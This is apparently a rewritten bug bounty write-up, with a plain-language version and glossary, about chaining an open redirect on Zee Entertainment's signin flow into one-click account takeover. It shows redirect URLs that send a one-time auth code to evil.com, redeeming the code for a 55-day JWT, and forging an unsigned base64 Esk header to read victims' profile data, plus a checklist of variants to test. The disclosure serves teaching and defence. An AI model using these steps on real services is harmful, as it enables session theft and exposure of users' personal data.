Chaining an Open Redirect Into Account Takeover (P1 · CVSS 9.0)
An open redirect in the signin flow leaked a one-time authentication code to an attacker-controlled domain. The attacker could exchange this code for a long-lived session token and, by forging a weakly protected header, access the victim's full profile.
medium.com
Published on medium.com
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Zee Entertainment is one of India's largest media and television companies, operating a large OTT and streaming ecosystem. When a new bug bounty program for Zee went live there were zero submissions, so the researcher decided to look before anyone else did. The plan was to skip the low-hanging fruit and go straight for the login and signup flow, since that is usually where the highest-impact bugs live.
The feature under test is the signin flow hosted on an authentication host, which takes a callback parameter and, after the OTP login step, hands a one-time authentication code back to the browser as part of that flow. The report closes the vulnerability as P1 (Critical), CVSS 9.00, with PII exposure, under the Zee Entertainment Responsible Disclosure Program.

Setup
The report does not describe a toolchain. The preconditions it does show are:
- A signin endpoint on
auth.[REDACTED]that accepts acallbackparameter. - A second test account, created so its
Eskheader value could be captured and decoded. - A victim account whose JWT and
Device_idcould be obtained through the chain. - The ability to host a page on an attacker-controlled domain (
evil.comin the examples) to receive the redirect.
Finding it
While testing the signin flow the researcher noticed a callback parameter that looked suspicious:
https://auth.[REDACTED]/signin?callback=https%3A%2F%2Fcq.[REDACTED]%2F
Swapping the value for an attacker domain:
https://auth.[REDACTED]/signin?callback=https%3A%2F%2Fevil.com%2F
worked. That is a textbook open redirect, normally a Low or Medium finding on its own, so the researcher kept digging instead of reporting it immediately.
Exploitation
Step 1: The redirect leaks an auth code
After triggering the redirect, the browser landed on:
https://evil.com/?pt=&tag=XXXX-SOME-RANDOM-CODE-XXXX
The tag value was not random junk: it was a one-time authentication code, generated during the OTP login step and handed to the browser as part of the signin flow. Because the redirect sent the victim's browser to an attacker-controlled domain with the code still attached, an attacker could capture it simply by getting a victim to click a link. This is where the bug stopped being just an open redirect and became a credential leak.

Step 2: Exchanging the code for a session
The leaked code is issued by this request (shown truncated in the report):
POST https:
Following the normal OTP login flow, the code could be redeemed once at:
GET /partner/getdeviceuser?[redacted] HTTP/2Host: auth.[REDACTED]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0Accept: *
The response handed back a full session:
{ "user": { "token": "[REDACTED_JWT]", "refresh_token": "[REDACTED_REFRESH_TOKEN]", "token_type": "Bearer", "expires_in": 4752000 }}
The expires_in value is worth pausing on: 4,752,000 seconds is roughly 55 days. A leaked token here does not grant momentary access; it hands over a session valid for almost two months.
Step 3: Hitting a wall on the profile endpoint
With a valid JWT in hand, the natural next step was pulling the victim's profile data:
The API also required two extra headers, Device_id and Esk, tied to the authenticated session. Without the matching values the request failed. Swapping tokens between accounts one at a time did not work either. It looked like a dead end.

Step 4: Recovering Device_id from the JWT
Decoding the JWT showed it carried more than standard claims:
{ "sub": "1234567890", "name": "John Doe", "admin": true, "Device_id": "X-DEVICE-ID-X", "iat": 1516239022}
The Device_id was sitting right there inside the token, no guessing required.
Step 5: Reverse-engineering the Esk header
That left the Esk header. The researcher created a second test account, captured its Esk value and decoded it from base64. The structure turned out to be:
Device_id + unknown_static_value + unix_timestamp +unixUnix_timestamp_in_milliseconds
Since Esk was only base64-encoded and not signed or cryptographically bound to the session, it could be rebuilt manually: swap in the victim's Device_id (recovered from their JWT in Step 4) alongside the other components, then re-encode the result.
Step 6: Full account takeover
Replaying the request with the forged Esk header and the victim's Device_id:
returned the victim's full profile:
{ "id": "[REDACTED_USER_ID]", "system": "Z5", "email": "[REDACTED_EMAIL]", "email_verified": true, "mobile": "", "mobile_verified": false, "first_name": "Guest", "last_name": "User", "activation_date": "[REDACTED_DATE]", "activated": true, "registration_country": "IN", "registration_region": "[REDACTED_REGION]"}
Email, verification status and registration details were all exposed, for any account, to anyone who could get a victim to click one crafted link.
Root cause
The primary root cause is the unvalidated redirect callback parameter leaking the auth code. That is the entry point and the thing that makes the whole chain reachable by an attacker with no access at all.
The Esk header was base64-encoded rather than signed, and it was not cryptographically bound to the session. Because one of its components (Device_id) is readable from the JWT itself, an attacker holding a stolen JWT could rebuild a matching Esk value. The report does not describe any server-side check that would have prevented this reconstruction.
Impact
Chained together, this is a one-click account takeover:
- Victim clicks a malicious signin link (classic open redirect).
- Their auth code leaks to the attacker's domain via the redirect.
- The attacker exchanges that code for a long-lived (~55-day) JWT and refresh token.
- The attacker decodes the JWT to recover the victim's
Device_id. - The attacker forges a valid
Eskheader using thatDevice_id. - The attacker pulls the victim's full profile and PII with a live, long-lived session to boot.
The conditions are that the victim clicks the crafted link and that the leaked code is redeemed once, following the normal OTP login flow. The report states PII exposure as yes and records the vulnerability as closed.
Fix
The report's remediation recommendation is to validate the callback/redirect parameter against a strict allowlist of trusted domains.
Variants to test
- Other redirect parameters on auth hosts. Look for
callback,redirect_uri,return,nextand similar parameters on signin and signup endpoints. A positive result is a redirect to an attacker-controlled domain that carries a code, token or other credential in the query string. - Credential placement in redirects. Check whether the redirect appends a one-time code (
taghere) rather than only a landing URL. A positive result is a code that can be redeemed once at a token or device-user endpoint. - JWT claim leakage. Decode tokens issued by the target and look for device identifiers, tenant IDs or other values used as request headers. A positive result is a claim that matches a header the API requires.
- Unsigned encoded headers. Capture headers such as
Esk, decode them from base64 and look for concatenated fields (identifier, static value, timestamps). A positive result is a header you can rebuild with another account's identifier and have accepted. - Header binding checks. Swap one header at a time between two accounts and observe which combinations fail. A positive result is a combination that succeeds where the report's target failed, showing the binding is weaker than assumed.
- Token lifetime. Read
expires_infrom token responses. A positive result is a long-lived access token combined with a refresh token, extending the window in which a leaked code is useful.
What happened, in plain words
Zee Entertainment is one of India's largest media and television companies, and it runs a big streaming (OTT) service. When a new bug bounty program for Zee went live, nobody had sent in a report yet. A bug bounty program is an arrangement where a company invites outside people to look for security problems in its systems and pays or credits them for reporting what they find. The researcher decided to look before anyone else did, and chose to skip the easy, low-value findings and go straight for the login and signup flow, because that is usually where the most serious bugs live.
The feature under test is the signin flow, hosted on an authentication host. Authentication means proving who you are, usually with a password or a one-time code. This signin flow takes a callback parameter and, after the OTP login step, hands a one-time authentication code back to the browser as part of that flow. OTP stands for one-time password: a short code, often sent by SMS, that you type in to prove it is really you. A parameter is a named value attached to the end of a web address, after a question mark, that tells the website what you want.
The report closes the vulnerability as P1 (Critical), CVSS 9.00, with PII exposure, under the Zee Entertainment Responsible Disclosure Program. P1 is the highest priority level a bug bounty program uses. CVSS is a standard scoring system for how severe a vulnerability is, running from 0 to 10. PII means personally identifiable information: data that identifies a real person, such as an email address or phone number.

Setup
The report does not describe a toolchain. The preconditions it does show are:
- A signin endpoint on
auth.[REDACTED]that accepts acallbackparameter. An endpoint is a specific address on a server that does one job, like a counter in a shop that only handles one kind of request. - A second test account, created so its
Eskheader value could be captured and decoded. A header is a small piece of extra information sent along with a web request, like the label on a parcel that says what is inside and who sent it. - A victim account whose JWT and
Device_idcould be obtained through the chain. A JWT (JSON Web Token) is a compact string that a server gives you after you log in, and that you show on later requests to prove you are still logged in.Device_idis an identifier for a device. - The ability to host a page on an attacker-controlled domain (
evil.comin the examples) to receive the redirect. A domain is the name of a website, like example.com. A redirect is when a website sends your browser on to a different address than the one you asked for.
Finding it
While testing the signin flow the researcher noticed a callback parameter that looked suspicious:
https://auth.[REDACTED]/signin?callback=https%3A%2F%2Fcq.[REDACTED]%2F
Line by line:
https://auth.[REDACTED]/signinis the address of the signin page on the authentication host.?marks the start of the parameters.callback=is the name of the parameter. A callback is an address the site should send you back to when it is done.https%3A%2F%2Fcq.[REDACTED]%2Fis the value of the parameter. It looks scrambled because it is URL-encoded: special characters are written as%followed by two characters so they can travel safely inside a web address.%3Ais a colon,%2Fis a slash. Decoded, the value ishttps://cq.[REDACTED]/.
What made it suspicious is that the site was willing to send the browser to whatever address the parameter named. If the site does not check that address against a list of allowed ones, an attacker can put their own address there.
Swapping the value for an attacker domain:
https://auth.[REDACTED]/signin?callback=https%3A%2F%2Fevil.com%2F
Line by line:
- The address and parameter name are the same as before.
- The value is now
https%3A%2F%2Fevil.com%2F, which decodes tohttps://evil.com/, a domain the attacker controls.
It worked. That is a textbook open redirect: a website that will forward visitors to any address someone supplies. On its own an open redirect is normally a Low or Medium finding, because it mostly lets an attacker send people to a fake page. So the researcher kept digging instead of reporting it immediately. The reasoning is that the redirect might be carrying something valuable along with it.
Exploitation
Step 1: The redirect leaks an auth code
After triggering the redirect, the browser landed on:
https://evil.com/?pt=&tag=XXXX-SOME-RANDOM-CODE-XXXX
Line by line:
https://evil.com/is the attacker's domain, so the attacker's server sees this request.?starts the parameters again.pt=is a parameter with an empty value.tag=XXXX-SOME-RANDOM-CODE-XXXXis a parameter carrying a value that looks like a random code.
The tag value was not random junk: it was a one-time authentication code, generated during the OTP login step and handed to the browser as part of the signin flow. A one-time code is like a cloakroom ticket: whoever holds it can collect the item, and it is meant to work only once. Because the redirect sent the victim's browser to an attacker-controlled domain with the code still attached, an attacker could capture it simply by getting a victim to click a link. This is where the bug stopped being just an open redirect and became a credential leak. A credential is anything that proves identity or grants access, such as a password, a code or a token.

Step 2: Exchanging the code for a session
The leaked code is issued by this request (shown truncated in the report):
POST https:
Line by line:
POSTis the method, the verb of a web request.GETasks for something;POSTsends something to the server, often to create or change something.https:is all the report shows of the address. The report cuts the line off here, so the full address is not given.
Following the normal OTP login flow, the code could be redeemed once at:
GET /partner/getdeviceuser?[redacted] HTTP/2Host: auth.[REDACTED]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0Accept: *
Line by line:
GET /partner/getdeviceuser?[redacted] is the request line: fetch this path, with the leaked code passed as thetoken` parameter. Redeeming means trading the code in for something more useful, the way you trade a cloakroom ticket for the coat.HTTP/2is the version of the web protocol being used. A protocol is an agreed set of rules for how two computers talk.Host: auth.[REDACTED]names the server the request is for. One server can host many websites, so the host header says which one you want.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0tells the server which browser and operating system made the request.Accept: *says the client will accept any kind of response.
The response handed back a full session:
{ "user": { "token": "[REDACTED_JWT]", "refresh_token": "[REDACTED_REFRESH_TOKEN]", "token_type": "Bearer", "expires_in": 4752000 }}
Line by line:
- The outer
{ "user": { ... } }is JSON, a text format for structured data built from names and values in curly braces. "token": "[REDACTED_JWT]"is the access token, the JWT you show on later requests to prove you are logged in."refresh_token": "[REDACTED_REFRESH_TOKEN]"is a second, longer-lived token used to get a fresh access token when the first one expires."token_type": "Bearer"says how the token should be presented: as a bearer token, meaning whoever bears (holds) it is treated as the owner. It works like a coat check ticket: the person holding it gets the coat, no questions asked."expires_in": 4752000says how many seconds the token stays valid.
The expires_in value is worth pausing on: 4,752,000 seconds is roughly 55 days. A leaked token here does not grant momentary access; it hands over a session valid for almost two months. A session is the period during which a website remembers that you are logged in.
Step 3: Hitting a wall on the profile endpoint
With a valid JWT in hand, the natural next step was pulling the victim's profile data:
Line by line:
GET /v1/user/asks the server for the user profile.v1is a version number in the path.Host: [REDACTED]names the API server. An API is a set of addresses a program can call to get or change data, like a service counter where you ask for exactly what you need rather than browsing the shelves.Device_id: [REDACTED_DEVICE_ID]identifies the device making the request.Esk: [REDACTED]is a second custom header the API expects.Authorization: bearer [REDACTED_JWT]presents the access token, in the bearer style described above.Referer: https:andOrigin: https:tell the server which page the request came from. The report shows both cut off afterhttps:.
The API also required two extra headers, Device_id and Esk, tied to the authenticated session. Without the matching values the request failed. Swapping tokens between accounts one at a time did not work either. It looked like a dead end. The lesson here is that a stolen key is not always enough: the lock may also check that you are standing at the right door.

Step 4: Recovering Device_id from the JWT
Decoding the JWT showed it carried more than standard claims:
{ "sub": "1234567890", "name": "John Doe", "admin": true, "Device_id": "X-DEVICE-ID-X", "iat": 1516239022}
Line by line:
"sub": "1234567890"is the subject claim, an identifier for the user the token belongs to."name": "John Doe"is the user's name."admin": truemarks the user as an administrator."Device_id": "X-DEVICE-ID-X"is the device identifier, stored inside the token itself."iat": 1516239022is the issued-at time, a Unix timestamp: the number of seconds since 1 January 1970, a common way computers record time.
A claim is simply a named fact inside a token. The Device_id was sitting right there inside the token, no guessing required. Decoding a JWT is not the same as breaking it: the contents are readable by anyone who holds the string, which is why you should never put secrets in one.
Step 5: Reverse-engineering the Esk header
That left the Esk header. The researcher created a second test account, captured its Esk value and decoded it from base64. Base64 is a way of writing any data using only ordinary letters, digits and a couple of symbols, so it can travel safely in text. It is an encoding, not encryption: anyone can turn it back into the original data. The structure turned out to be:
Device_id + unknown_static_value + unix_timestamp +unixUnix_timestamp_in_milliseconds
Line by line:
Device_idis the device identifier, the same value found in the JWT.unknown_static_valueis a fixed piece of text whose meaning the report does not explain.unix_timestampis a time value in seconds since 1970.unixUnix_timestamp_in_millisecondsis a time value in thousandths of a second since 1970. The odd spelling is how the report writes it.
Since Esk was only base64-encoded and not signed or cryptographically bound to the session, it could be rebuilt manually: swap in the victim's Device_id (recovered from their JWT in Step 4) alongside the other components, then re-encode the result. Signed means protected by a cryptographic check that proves the value was made by the server and has not been altered. Bound to the session means tied to one particular login so it cannot be reused elsewhere. Esk had neither protection, so it was like a wristband at an event that anyone can print at home: it looks official, but nothing verifies it.
Step 6: Full account takeover
Replaying the request with the forged Esk header and the victim's Device_id:
Line by line:
GET /v1/user/is the same profile request as before.Host: [REDACTED]is the same API server.Device_id: [REDACTED_DEVICE_ID]is now the victim's device identifier.Esk: [REDACTED]is the header the researcher rebuilt by hand.Authorization: bearer [REDACTED_JWT]is the victim's stolen token.
Replaying means sending the same request again, with the forged values in place. It returned the victim's full profile:
{ "id": "[REDACTED_USER_ID]", "system": "Z5", "email": "[REDACTED_EMAIL]", "email_verified": true, "mobile": "", "mobile_verified": false, "first_name": "Guest", "last_name": "User", "activation_date": "[REDACTED_DATE]", "activated": true, "registration_country": "IN", "registration_region": "[REDACTED_REGION]"}
Line by line:
"id"is the account's internal identifier."system": "Z5"names the system the account belongs to."email"and"email_verified": trueshow the address and that it has been confirmed."mobile": ""and"mobile_verified": falseshow no phone number and that it is unverified."first_name": "Guest"and"last_name": "User"are the name fields."activation_date"and"activated": trueshow when the account was activated and that it is active."registration_country": "IN"and"registration_region"show where the account was registered.
Email, verification status and registration details were all exposed, for any account, to anyone who could get a victim to click one crafted link. Account takeover means logging in as someone else and seeing and doing what they can.
Root cause
The primary root cause is the unvalidated redirect callback parameter leaking the auth code. That is the entry point and the thing that makes the whole chain reachable by an attacker with no access at all. Root cause means the underlying mistake that makes everything else possible, as opposed to the individual steps an attacker takes.
The Esk header was base64-encoded rather than signed, and it was not cryptographically bound to the session. Because one of its components (Device_id) is readable from the JWT itself, an attacker holding a stolen JWT could rebuild a matching Esk value.
Impact
Chained together, this is a one-click account takeover:
- Victim clicks a malicious signin link (classic open redirect).
- Their auth code leaks to the attacker's domain via the redirect.
- The attacker exchanges that code for a long-lived (~55-day) JWT and refresh token.
- The attacker decodes the JWT to recover the victim's
Device_id. - The attacker forges a valid
Eskheader using thatDevice_id. - The attacker pulls the victim's full profile and PII with a live, long-lived session to boot.
The conditions are that the victim clicks the crafted link and that the leaked code is redeemed once, following the normal OTP login flow. The report states PII exposure as yes and records the vulnerability as closed.
Fix
The report's remediation recommendation is to validate the callback/redirect parameter against a strict allowlist of trusted domains. An allowlist is a list of things that are permitted, and everything not on it is refused, the opposite of a blocklist that names only what is banned.
Variants to test
- Other redirect parameters on auth hosts. Look for
callback,redirect_uri,return,nextand similar parameters on signin and signup endpoints. A positive result is a redirect to an attacker-controlled domain that carries a code, token or other credential in the query string. The query string is the part of a web address after the question mark. - Credential placement in redirects. Check whether the redirect appends a one-time code (
taghere) rather than only a landing URL. A positive result is a code that can be redeemed once at a token or device-user endpoint. - JWT claim leakage. Decode tokens issued by the target and look for device identifiers, tenant IDs or other values used as request headers. A positive result is a claim that matches a header the API requires.
- Unsigned encoded headers. Capture headers such as
Esk, decode them from base64 and look for concatenated fields (identifier, static value, timestamps). A positive result is a header you can rebuild with another account's identifier and have accepted. - Header binding checks. Swap one header at a time between two accounts and observe which combinations fail. A positive result is a combination that succeeds where the report's target failed, showing the binding is weaker than assumed.
- Token lifetime. Read
expires_infrom token responses. A positive result is a long-lived access token combined with a refresh token, extending the window in which a leaked code is useful.
Glossary
- Account takeover: gaining control of someone else's account and acting as them.
- Allowlist: a list of permitted values; anything not on the list is refused.
- API: a set of addresses a program can call to read or change data on a server.
- Authentication: proving who you are, usually with a password or a one-time code.
- Base64: an encoding that writes any data using ordinary characters so it can travel as text; it is not encryption and anyone can decode it.
- Bearer token: a token where whoever holds it is treated as its owner.
- Bug bounty program: an arrangement where a company invites outsiders to find and report security problems, usually for a reward or credit.
- Callback: an address a website sends you back to when it has finished an action.
- Claim: a named fact stored inside a token, such as a user identifier or a device identifier.
- Credential: anything that proves identity or grants access, such as a password, code or token.
- CVSS: a standard scoring system for the severity of a vulnerability, from 0 to 10.
- Domain: the name of a website, such as example.com.
- Endpoint: a specific address on a server that performs one job.
- GET: a web request method that asks the server for something.
- Header: extra information sent alongside a web request or response, such as the host name or an authorisation token.
- Host header: the header that names which website on a server the request is for.
- HTTP/2: a version of the protocol that browsers and servers use to exchange web requests and responses.
- JSON: a text format for structured data made of names and values in curly braces.
- JWT (JSON Web Token): a compact string issued at login and shown on later requests to prove you are logged in; its contents are readable by anyone holding it.
- One-time code: a code meant to be used once, like a cloakroom ticket.
- Open redirect: a website that forwards visitors to any address someone supplies, without checking it.
- OTP (one-time password): a short code, often sent by SMS, typed in to prove identity.
- OTT: streaming services delivered over the internet, such as video platforms.
- P1: the highest priority level in a bug bounty program.
- Parameter: a named value attached to a web address after a question mark.
- PII: personally identifiable information, data that identifies a real person.
- POST: a web request method that sends data to the server, often to create or change something.
- Protocol: an agreed set of rules for how two computers communicate.
- Query string: the part of a web address after the question mark, holding parameters.
- Redirect: sending a browser on to a different address than the one requested.
- Refresh token: a longer-lived token used to obtain a fresh access token when the old one expires.
- Root cause: the underlying mistake that makes a vulnerability possible.
- Session: the period during which a website remembers that you are logged in.
- Signed: protected by a cryptographic check proving a value was made by the server and not altered.
- Token: a string issued at login that stands in for your credentials on later requests.
- Unix timestamp: the number of seconds since 1 January 1970, a common way computers record time.
- URL-encoding: writing special characters as
%followed by two characters so they can travel safely inside a web address. - User-Agent: a header that tells the server which browser and operating system made the request.
- Vulnerability: a weakness in a system that an attacker can use to do something harmful.